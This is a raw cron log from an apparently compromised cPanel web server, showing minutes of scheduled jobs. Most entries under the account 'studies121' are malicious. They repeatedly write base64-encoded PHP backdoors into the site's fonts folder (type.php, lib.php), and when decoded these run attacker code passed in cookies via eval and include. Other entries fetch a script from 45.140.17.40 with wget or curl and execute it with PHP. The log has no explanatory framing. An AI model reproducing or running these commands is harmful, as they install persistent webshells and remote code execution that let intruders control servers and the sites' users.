Sep  5 13:48:01 ip-184-168-122-23 CROND[28142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:48:01 ip-184-168-122-23 CROND[28141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:48:01 ip-184-168-122-23 CROND[28143]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:49:01 ip-184-168-122-23 CROND[28333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:49:01 ip-184-168-122-23 CROND[28336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:49:01 ip-184-168-122-23 CROND[28337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:49:01 ip-184-168-122-23 CROND[28334]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:49:01 ip-184-168-122-23 CROND[28335]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  5 13:50:01 ip-184-168-122-23 CROND[28440]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 13:50:01 ip-184-168-122-23 CROND[28439]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 13:50:01 ip-184-168-122-23 CROND[28446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:50:01 ip-184-168-122-23 CROND[28447]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 13:50:01 ip-184-168-122-23 CROND[28444]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:50:01 ip-184-168-122-23 CROND[28445]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 13:50:01 ip-184-168-122-23 CROND[28448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:50:01 ip-184-168-122-23 CROND[28443]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:50:01 ip-184-168-122-23 CROND[28449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:51:01 ip-184-168-122-23 CROND[28569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:51:01 ip-184-168-122-23 CROND[28570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:51:01 ip-184-168-122-23 CROND[28571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:51:01 ip-184-168-122-23 CROND[28573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:52:01 ip-184-168-122-23 CROND[28671]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:52:01 ip-184-168-122-23 CROND[28672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:52:01 ip-184-168-122-23 CROND[28673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:52:01 ip-184-168-122-23 CROND[28674]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:52:01 ip-184-168-122-23 CROND[28675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:53:01 ip-184-168-122-23 CROND[28791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:53:01 ip-184-168-122-23 CROND[28793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:53:01 ip-184-168-122-23 CROND[28794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:53:01 ip-184-168-122-23 CROND[28792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:54:01 ip-184-168-122-23 CROND[28952]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:54:01 ip-184-168-122-23 CROND[28955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:54:01 ip-184-168-122-23 CROND[28953]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:54:01 ip-184-168-122-23 CROND[28956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:54:01 ip-184-168-122-23 CROND[28954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:55:01 ip-184-168-122-23 CROND[29047]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 13:55:01 ip-184-168-122-23 CROND[29045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:55:01 ip-184-168-122-23 CROND[29046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:55:01 ip-184-168-122-23 CROND[29049]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:55:01 ip-184-168-122-23 CROND[29050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:55:01 ip-184-168-122-23 CROND[29051]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 13:56:01 ip-184-168-122-23 CROND[29147]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:56:01 ip-184-168-122-23 CROND[29149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:56:01 ip-184-168-122-23 CROND[29148]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:56:01 ip-184-168-122-23 CROND[29152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:56:01 ip-184-168-122-23 CROND[29150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:57:01 ip-184-168-122-23 CROND[29257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:57:01 ip-184-168-122-23 CROND[29256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:57:01 ip-184-168-122-23 CROND[29258]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:57:01 ip-184-168-122-23 CROND[29259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:58:01 ip-184-168-122-23 CROND[29355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:58:01 ip-184-168-122-23 CROND[29359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:58:01 ip-184-168-122-23 CROND[29358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:58:01 ip-184-168-122-23 CROND[29360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:58:01 ip-184-168-122-23 CROND[29357]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:59:01 ip-184-168-122-23 CROND[29526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:59:01 ip-184-168-122-23 CROND[29528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:59:01 ip-184-168-122-23 CROND[29531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:59:01 ip-184-168-122-23 CROND[29529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:00:01 ip-184-168-122-23 CROND[29622]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 14:00:01 ip-184-168-122-23 CROND[29629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:00:01 ip-184-168-122-23 CROND[29626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:00:01 ip-184-168-122-23 CROND[29627]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 14:00:01 ip-184-168-122-23 CROND[29625]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 14:00:01 ip-184-168-122-23 CROND[29630]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  5 14:00:01 ip-184-168-122-23 CROND[29628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:00:01 ip-184-168-122-23 CROND[29636]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
